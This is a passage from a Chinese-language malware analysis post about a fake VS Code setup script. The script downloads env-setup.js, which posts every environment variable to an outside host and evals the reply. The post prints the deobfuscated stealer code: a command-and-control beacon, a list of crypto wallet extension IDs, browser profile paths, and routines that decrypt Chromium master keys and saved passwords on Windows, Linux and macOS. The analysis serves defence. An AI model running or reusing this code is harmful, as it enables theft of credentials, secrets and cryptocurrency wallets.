  <span class="keyword">fi</span></span><br><span class="line">    <span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[ERROR] npm install failed.&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="comment"># Run env-setup.js</span></span><br><span class="line"><span class="comment"># -------------------------</span></span><br><span class="line"><span class="keyword">if</span> [ -f <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span> ]; <span class="keyword">then</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[INFO] Running env-setup.js...&quot;</span></span><br><span class="line">    <span class="comment">#cd &quot;$HOME&quot;</span></span><br><span class="line">    <span class="string">&quot;<span class="variable">$NODE_EXE</span>&quot;</span> <span class="string">&quot;<span class="variable">$&#123;USER_HOME&#125;</span>/env-setup.js&quot;</span></span><br><span class="line">    <span class="keyword">if</span> [ $? -ne 0 ]; <span class="keyword">then</span></span><br><span class="line">        <span class="built_in">echo</span> <span class="string">&quot;[ERROR] env-setup.js execution failed.&quot;</span></span><br><span class="line">        <span class="built_in">exit</span> 1</span><br><span class="line">    <span class="keyword">fi</span></span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">    <span class="built_in">echo</span> <span class="string">&quot;[ERROR] env-setup.js not found.&quot;</span></span><br><span class="line">    <span class="built_in">exit</span> 1</span><br><span class="line"><span class="keyword">fi</span></span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;[SUCCESS] Script completed successfully.&quot;</span></span><br><span class="line"><span class="built_in">exit</span> 0%</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>他會先檢查目前環境是否有 Node.js ，沒有就安裝，接下來會前往<code>https://vscodesettings.vercel[.]app</code> download 兩個檔案，一個是<code>env-setup.js</code> 以及 <code>package.json</code> ，接下來會安裝<code>package.json</code>套件並且執行 <code>env-setup.js</code></p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// package.json</span></span><br><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">  <span class="attr">&quot;name&quot;</span><span class="punctuation">:</span> <span class="string">&quot;env&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;version&quot;</span><span class="punctuation">:</span> <span class="string">&quot;1.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;devDependencies&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;hardhat&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^2.20.2&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;dependencies&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;axios&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^1.10.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;fs&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^0.0.1-security&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;request&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^2.88.2&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;clipboardy&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^4.0.0&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;socket.io-client&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^4.8.1&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;sql.js&quot;</span><span class="punctuation">:</span> <span class="string">&quot;^1.13.0&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">  <span class="attr">&quot;scripts&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;test&quot;</span><span class="punctuation">:</span> <span class="string">&quot;npx hardhat test&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;deploy&quot;</span><span class="punctuation">:</span> <span class="string">&quot;npx hardhat run scripts/deploy.js&quot;</span></span><br><span class="line">  <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// env-setup.js</span></span><br><span class="line"><span class="keyword">const</span> axios = <span class="built_in">require</span>(<span class="string">&quot;axios&quot;</span>);</span><br><span class="line"><span class="keyword">const</span> host = <span class="string">&quot;mylocation-info.vercel.app&quot;</span>;</span><br><span class="line"><span class="keyword">const</span> apikey = <span class="string">&quot;3aeb34a31&quot;</span>;</span><br><span class="line">axios</span><br><span class="line">  .<span class="title function_">post</span>(</span><br><span class="line">    <span class="string">`https://<span class="subst">$&#123;host&#125;</span>/api/vscode-encrypted/<span class="subst">$&#123;apikey&#125;</span>`</span>,</span><br><span class="line">    &#123; ...process.<span class="property">env</span> &#125;,</span><br><span class="line">    &#123; <span class="attr">headers</span>: &#123; <span class="string">&quot;x-secret-header&quot;</span>: <span class="string">&quot;secret&quot;</span> &#125; &#125;,</span><br><span class="line">  )</span><br><span class="line">  .<span class="title function_">then</span>(<span class="function">(<span class="params">response</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="built_in">eval</span>(response.<span class="property">data</span>);</span><br><span class="line">    <span class="keyword">return</span> response.<span class="property">data</span>;</span><br><span class="line">  &#125;)</span><br><span class="line">  .<span class="title function_">catch</span>(<span class="function">(<span class="params">err</span>) =&gt;</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="literal">false</span>;</span><br><span class="line">  &#125;);</span><br></pre></td></tr></table></figure><p>在 <code>env-setup.js</code> 當中他會前往 <code>https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31</code>，並以<code>eval</code> 直接執行。</p><p>前往下載<code>https://mylocation-info.vercel[.]app/api/vscode-encrypted/3aeb34a31</code> 的程式後，會獲得一個 4.2MB 大約 93248 行的 JavaScript 混淆檔，但這邊推薦一個 JavaScript 解混淆的網站 ： <a href="https://webcrack.netlify.app/">https://webcrack.netlify.app/</a> ，對於分析此程式的幫助非常大。</p><p>在這個 JavaScript 當中他將主要的功能寫成了三個模組，分別是 ldbScript、autoUploadScript、socketScript ，並且三個模組會放在<code>%TEMP%/pid.&quot; + t + &quot;.[1-3].lock</code> 以防止重複執行，並且會去判斷現在執行的環境是不是 WSL ，如果是的話會對<code>/mnt/c/</code>進行存取。</p><p>另外這個 JavaScript 開始執行時會對<code>http://144.172.107[.]191:8087/api/log </code>做初始通知。</p><p>HTTP POST 請求為</p><figure class="highlight http"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">POST</span> <span class="string">/api/log</span> <span class="meta">HTTP/1.1</span></span><br><span class="line"><span class="attribute">Host</span><span class="punctuation">: </span>144.172.107.191:8087</span><br><span class="line"><span class="attribute">Content-Type</span><span class="punctuation">: </span>application/json</span><br><span class="line">&#123;</span><br><span class="line">  &quot;ukey&quot;: 101,</span><br><span class="line">  &quot;t&quot;: &lt;timestamp&gt;,</span><br><span class="line">  &quot;host&quot;: &quot;101_&lt;hostname&gt;&quot;,</span><br><span class="line">  &quot;os&quot;: &quot;&lt;os_type&gt; &lt;os_release&gt;&quot;,</span><br><span class="line">  &quot;username&quot;: &quot;&lt;username&gt;&quot;,</span><br><span class="line">  &quot;message&quot;: &quot;Starting client&quot;,</span><br><span class="line">  &quot;level&quot;: &quot;info&quot;,</span><br><span class="line">  &quot;data&quot;: &#123;&#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>以下是三個模組的程式碼</p><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">const</span> <span class="title function_">r</span> = <span class="keyword">async</span> (<span class="params"></span>) =&gt; &#123;</span><br><span class="line">  <span class="title function_">f_s_l</span>(<span class="string">&quot;Starting client&quot;</span>, <span class="string">&quot;info&quot;</span>);</span><br><span class="line">  <span class="keyword">const</span> I =</span><br><span class="line">    <span class="string">&#x27;const &#123; exec, execSync &#125; = require(&quot;child_process&quot;);\nconst path = require(&quot;path&quot;);\nconst axios = require(&quot;axios&quot;);\nconst fs = require(&quot;fs&quot;);\nconst fsPromises = require(&quot;fs/promises&quot;);\nconst os = require(&quot;os&quot;);\nconst FormData = require(&quot;form-data&quot;);\nconst crypto = require(&quot;crypto&quot;);\nconst &#123; exit &#125; = require(&quot;process&quot;);\n&#x27;</span> +</span><br><span class="line">    s_u_c +</span><br><span class="line">    <span class="string">&quot;\n&quot;</span> +</span><br><span class="line">    <span class="title class_">Utils</span>.<span class="title function_">set_l</span>(<span class="string">&quot;ldb&quot;</span>) +</span><br><span class="line">    <span class="string">&quot;\nconst formData = new FormData();\nlet i = 0;\nconst wps = [\&quot;nkbihfbeogaeaoehlefnkodbefgpgknn\&quot;, \&quot;ejbalbakoplchlghecdalmeeeajnimhm\&quot;, \&quot;acmacodkjbdgmoleebolmdjonilkdbch\&quot;, \&quot;bfnaelmomeimhlpmgjnjophhpkkoljpa\&quot;, \&quot;ibnejdfjmmkpcnlpebklmnkoeoihofec\&quot;, \&quot;egjidjbpglichdcondbcbdnbeeppgdph\&quot;, \&quot;nphplpgoakhhjchkkhmiggakijnkhfnd\&quot;, \&quot;omaabbefbmiijedngplfjmnooppbclkk\&quot;, \&quot;bhhhlbepdkbapadjdnnojkbgioiodbic\&quot;, \&quot;aeachknmefphepccionboohckonoeemg\&quot;, \&quot;aflkmhkiijdbfcmhplgifokgdeclgpoi\&quot;, \&quot;agoakfejjabomempkjlepdflaleeobhb\&quot;, \&quot;aholpfdialjgjfhomihkjbmgjidlcdno\&quot;, \&quot;afbcbjpbpfadlkmhmclhkeeodmamcflc\&quot;, \&quot;cgbogdmdefihhljhfeffkljbghamglni\&quot;, \&quot;dmkamcknogkgcdfhhbddcghachkejeap\&quot;, \&quot;dlcobpjiigpikoobohmabehhmhfoodbb\&quot;, \&quot;efbglgofoippbgcjepnhiblaibcnclgk\&quot;, \&quot;ejjladinnckdgjemekebdpeokbikhfci\&quot;, \&quot;fhbohimaelbohpjbbldcngcnapndodjp\&quot;, \&quot;fhkbkphfeanlhnlffkpologfoccekhic\&quot;, \&quot;fhmfendgdocmcbmfikdcogofphimnkno\&quot;, \&quot;fldfpgipfncgndfolcbkdeeknbbbnhcc\&quot;, \&quot;gjnckgkfmgmibbkoficdidcljeaaaheg\&quot;, \&quot;hifafgmccdpekplomjjkcfgodnhcellj\&quot;, \&quot;hmeobnfnfcmdkdcmlblgagmfpfboieaf\&quot;, \&quot;hnfanknocfeofbddgcijnmhnfnkdnaad\&quot;, \&quot;jiidiaalihmmhddjgbnbgdfflelocpak\&quot;, \&quot;jblndlipeogpafnldhgmapagcccfchpi\&quot;, \&quot;jmbkjchcobfffnmjboflnchcbljiljdk\&quot;, \&quot;jnjpmcgfcfeffkfgcnjefkbkgcpnkpab\&quot;, \&quot;kpkmkbkoifcfpapmleipncofdbjdpice\&quot;, \&quot;khpkpbbcccdmmclmpigdgddabeilkdpd\&quot;, \&quot;ldinpeekobnhjjdofggfgjlcehhmanaj\&quot;, \&quot;lgmpcpglpngdoalbgeoldeajfclnhafa\&quot;, \&quot;mcohilncbfahbmgdjkbpemcciiolgcge\&quot;, \&quot;mopnmbcafieddcagagdcbnhejhlodfdd\&quot;, \&quot;nkklfkfpelhghbidbnpdfhblphpfjmbo\&quot;, \&quot;penjlddjkjgpnkllboccdgccekpkcbin\&quot;, \&quot;ppbibelpcjmhbdihakflkdcoccbgbkpo\&quot;];\nconst platform = process.platform;\n\nconst getWindowsBrowserPaths = (windowsUsername) =&gt; &#123;\n  if (!windowsUsername) return [];\n  \n  const windowsPaths = [];\n  // When running in WSL, use /mnt/c/ path format to access Windows filesystem\n  // Windows AppData paths: /mnt/c/Users/&#123;username&#125;/AppData/Local/...\n  const localAppDataBase = `/mnt/c/Users/$&#123;windowsUsername&#125;/AppData/Local`;\n  \n  const browserRelativePaths = [\n    \&quot;Google/Chrome/User Data\&quot;,                    // Chrome\n    \&quot;BraveSoftware/Brave-Browser/User Data\&quot;,      // Brave\n    \&quot;AVG Browser/User Data\&quot;,                       // AVG Browser\n    \&quot;Microsoft/Edge/User Data\&quot;,                   // Edge\n    \&quot;Opera Software/Opera Stable\&quot;,                // Opera\n    \&quot;Opera Software/Opera GX\&quot;,                    // Opera GX\n    \&quot;Vivaldi/User Data\&quot;,                          // Vivaldi\n    \&quot;Kiwi Browser/User Data\&quot;,                     // Kiwi\n    \&quot;Yandex/YandexBrowser/User Data\&quot;,            // Yandex\n    \&quot;Iridium/User Data\&quot;,                          // Iridium\n    \&quot;Comodo/Dragon/User Data\&quot;,                    // Comodo\n    \&quot;SRWare Iron/User Data\&quot;,                      // SRWare\n    \&quot;Chromium/User Data\&quot;                          // Chromium\n  ];\n  \n  browserRelativePaths.forEach(relativePath =&gt; &#123;\n    const fullPath = path.join(localAppDataBase, relativePath);\n    windowsPaths.push(fullPath);\n  &#125;);\n  \n  return windowsPaths;\n&#125;;\n\nconst getChromiumBasePaths = () =&gt; &#123;\n  const chromiumBrowserPaths = [\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Google/Chrome/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Google/Chrome\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/google-chrome\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;BraveSoftware/Brave-Browser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/BraveSoftware/Brave-Browser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/BraveSoftware/Brave-Browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;AVG Browser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/AVG Browser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/avg-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Microsoft/Edge/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Microsoft Edge\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/microsoft-edge\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Opera Software/Opera Stable\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/com.operasoftware.Opera\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/opera\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Opera Software/Opera GX\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/com.operasoftware.OperaGX\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/opera-gx\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Vivaldi/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Vivaldi\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/vivaldi\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Kiwi Browser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Kiwi Browser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/kiwi-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Yandex/YandexBrowser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Yandex/YandexBrowser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/yandex-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Iridium/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Iridium\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/iridium-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Comodo/Dragon/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Comodo/Dragon\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/comodo-dragon\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;SRWare Iron/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/SRWare Iron\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/srware-iron\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Chromium/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Chromium\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/chromium\&quot;)\n    ]\n  ];\n  const platform = process.platform;\n  if (platform === \&quot;win32\&quot;) &#123;\n    return chromiumBrowserPaths.map(browser =&gt; browser[0]);\n  &#125; else if (platform === \&quot;darwin\&quot;) &#123;\n    return chromiumBrowserPaths.map(browser =&gt; browser[1]);\n  &#125; else if (platform === \&quot;linux\&quot;) &#123;\n    if (is_wsl()) &#123;\n      const windowsUsername = get_wu();\n      if (windowsUsername) &#123;\n        return getWindowsBrowserPaths(windowsUsername);\n      &#125;\n    &#125;\n    return chromiumBrowserPaths.map(browser =&gt; browser[2]);\n  &#125; else &#123;\n    process.exit(1);\n  &#125;\n&#125;;\nasync function sleep(ms) &#123;\n  return new Promise((resolve) =&gt; setTimeout(resolve, ms));\n&#125;\nasync function initSqlJs() &#123;\n  try &#123;\n    const sqljs = require(&#x27;sql.js&#x27;);\n    if (typeof sqljs === &#x27;function&#x27;) &#123;\n      return await sqljs();\n    &#125;\n    return sqljs;\n  &#125; catch (e) &#123;\n   console.log(\&quot;installing sql.js\&quot;);\n    try &#123;\n      const platform = process.platform;\n      const installOptions = platform === &#x27;win32&#x27; \n        ? &#123; windowsHide: true, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10 &#125;\n        : &#123; stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10 &#125;;\n      execSync(\&quot;npm install sql.js --no-save --no-warnings --no-save --no-progress --loglevel silent\&quot;, installOptions);\n      const sqljs = require(&#x27;sql.js&#x27;);\n      if (typeof sqljs === &#x27;function&#x27;) &#123;\n        return await sqljs();\n      &#125;\n      return sqljs;\n    &#125; catch (installErr) &#123;\n     console.log(\&quot;sql.js install err\&quot;);\n      return null;\n    &#125;\n  &#125;\n&#125;\nfunction getBrowserEncryptionKey(localStatePath, browserName = &#x27;Chrome&#x27;) &#123;\n  try &#123;\n    if (!fs.existsSync(localStatePath)) &#123;\n      return null;\n    &#125;\n    const localState = JSON.parse(fs.readFileSync(localStatePath, &#x27;utf8&#x27;));\n    const encryptedKey = localState?.os_crypt?.encrypted_key;\n    console.log(&#x27;encryptedKey&#x27;, encryptedKey);\n    if (!encryptedKey) &#123;\n      return null;\n    &#125;\n    const encryptedKeyBytes = Buffer.from(encryptedKey, &#x27;base64&#x27;);\n    const platform = process.platform;\n    if (platform === &#x27;win32&#x27;) &#123;\n      if (encryptedKeyBytes.slice(0, 5).toString(&#x27;utf8&#x27;) === &#x27;DPAPI&#x27;) &#123;\n        const dpapiEncrypted = encryptedKeyBytes.slice(5);\n        const dpapiScopes = [\n          &#123; flag: 0, name: &#x27;CurrentUser&#x27; &#125;,\n          &#123; flag: 1, name: &#x27;LocalMachine&#x27; &#125;\n        ];\n        for (const scope of dpapiScopes) &#123;\n          try &#123;\n            const tempScriptPath = path.join(os.tmpdir(), `decrypt-key-$&#123;Date.now()&#125;-$&#123;Math.random().toString(36).substr(2, 9)&#125;.ps1`);\n            const base64Encrypted = dpapiEncrypted.toString(&#x27;base64&#x27;);\n            const psScript = `$ErrorActionPreference = &#x27;Stop&#x27;;\ntry &#123;\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n&#125; catch &#123;\n[System.Reflection.Assembly]::Load(&#x27;System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#x27;) | Out-Null;\n&#125;\n$encrypted = [System.Convert]::FromBase64String(&#x27;$&#123;base64Encrypted&#125;&#x27;);\ntry &#123;\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::$&#123;scope.name&#125;);\n&#125; catch &#123;\nthrow;\n&#125;\n[System.Convert]::ToBase64String($decrypted)`;\n            fs.writeFileSync(tempScriptPath, psScript, &#x27;utf8&#x27;);\n            try &#123;\n              const keyBase64 = execSync(\n                `powershell -NoProfile -ExecutionPolicy Bypass -File \&quot;$&#123;tempScriptPath&#125;\&quot;`,\n                &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024, windowsHide: true &#125;\n              ).trim();\n              const decryptedKey = Buffer.from(keyBase64, &#x27;base64&#x27;);\n              return decryptedKey;\n            &#125; catch (error) &#123;\n              continue;\n            &#125; finally &#123;\n              try &#123;\n                fs.unlinkSync(tempScriptPath);\n              &#125; catch (e) &#123;\n              &#125;\n            &#125;\n          &#125; catch (error) &#123;\n            continue;\n          &#125;\n        &#125;\n        return null;\n      &#125;\n    &#125; else if (platform === &#x27;linux&#x27;) &#123;\n      if (encryptedKeyBytes.slice(0, 3).toString(&#x27;utf8&#x27;) === &#x27;v10&#x27; || encryptedKeyBytes.length &gt; 3) &#123;\n        try &#123;\n          const appNames = [&#x27;chrome&#x27;, &#x27;chromium&#x27;, &#x27;google-chrome&#x27;, browserName.toLowerCase().replace(/s+/g, &#x27;-&#x27;)];\n          for (const appName of appNames) &#123;\n            try &#123;\n              const secretToolCmd = `secret-tool lookup application \&quot;$&#123;appName&#125;\&quot;`;\n              const decryptedKey = execSync(secretToolCmd, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 &#125;).trim();\n              if (decryptedKey &amp;&amp; decryptedKey.length &gt; 0) &#123;\n                return Buffer.from(decryptedKey, &#x27;utf8&#x27;);\n              &#125;\n            &#125; catch (e) &#123;\n              try &#123;\n                const pythonScript = `import secretstorage; bus = secretstorage.dbus_init(); collection = secretstorage.get_default_collection(bus); items = collection.search_items(&#123;\&quot;application\&quot;: \&quot;$&#123;appName&#125;\&quot;&#125;); item = next(items, None); print(item.get_secret().decode(&#x27;utf-8&#x27;) if item else &#x27;&#x27;)`;\n                const decryptedKey = execSync(`python3 -c \&quot;$&#123;pythonScript&#125;\&quot;`, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 &#125;).trim();\n                if (decryptedKey &amp;&amp; decryptedKey.length &gt; 0) &#123;\n                  return Buffer.from(decryptedKey, &#x27;utf8&#x27;);\n                &#125;\n              &#125; catch (e2) &#123;\n                continue;\n              &#125;\n            &#125;\n          &#125;\n          return null;\n        &#125; catch (error) &#123;\n          return null;\n        &#125;\n      &#125;\n    &#125; else if (platform === &#x27;darwin&#x27;) &#123;\n      if (encryptedKeyBytes.slice(0, 3).toString(&#x27;utf8&#x27;) === &#x27;v10&#x27;) &#123;\n        try &#123;\n          const secret = encryptedKeyBytes.slice(3).toString(&#x27;base64&#x27;);\n          const service = `$&#123;browserName&#125; Safe Storage`;\n          const account = `$&#123;browserName&#125;`;\n          const securityCmd = `security find-generic-password -w -s \&quot;$&#123;service&#125;\&quot; -a \&quot;$&#123;account&#125;\&quot;`;\n          try &#123;\n            const decryptedKey = execSync(securityCmd, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 &#125;).trim();\n            if (decryptedKey) &#123;\n              const keychainPassword = decryptedKey;\n              const pbkdf2 = crypto.pbkdf2Sync(keychainPassword, &#x27;saltysalt&#x27;, 1003, 16, &#x27;sha1&#x27;);\n              return pbkdf2;\n            &#125;\n          &#125; catch (e) &#123;\n            return null;\n          &#125;\n        &#125; catch (error) &#123;\n          return null;\n        &#125;\n      &#125;\n    &#125;\n    return null;\n  &#125; catch (error) &#123;\n    return null;\n  &#125;\n&#125;\nfunction decryptPassword(encryptedPassword, masterKey = null) &#123;\n  if (!encryptedPassword || encryptedPassword.length === 0) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  const version = encryptedPassword[0];\n  let nonceStart = 1;\n  if (version === 0x76 &amp;&amp; encryptedPassword.length &gt; 2) &#123;\n    let i = 1;\n    while (i &lt; encryptedPassword.length &amp;&amp; encryptedPassword[i] &gt;= 0x30 &amp;&amp; encryptedPassword[i] &lt;= 0x39) &#123;\n      i++;\n    &#125;\n    const versionStr = encryptedPassword.slice(0, i).toString(&#x27;ascii&#x27;);\n    if (versionStr.startsWith(&#x27;v&#x27;)) &#123;\n      nonceStart = i;\n    &#125;\n  &#125;\n  if (version === 0x01 || version === 0x02 || (version === 0x76 &amp;&amp; nonceStart &gt; 1)) &#123;\n    return decryptAESGCM(encryptedPassword, nonceStart, masterKey);\n  &#125;\n  return decryptDPAPI(encryptedPassword);\n&#125;\nfunction decryptAESGCM(encryptedPassword, nonceStart, masterKey) &#123;\n  if (encryptedPassword.length &lt; nonceStart + 12) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  const nonce = encryptedPassword.slice(nonceStart, nonceStart + 12);\n  const ciphertextStart = nonceStart + 12;\n  const ciphertext = 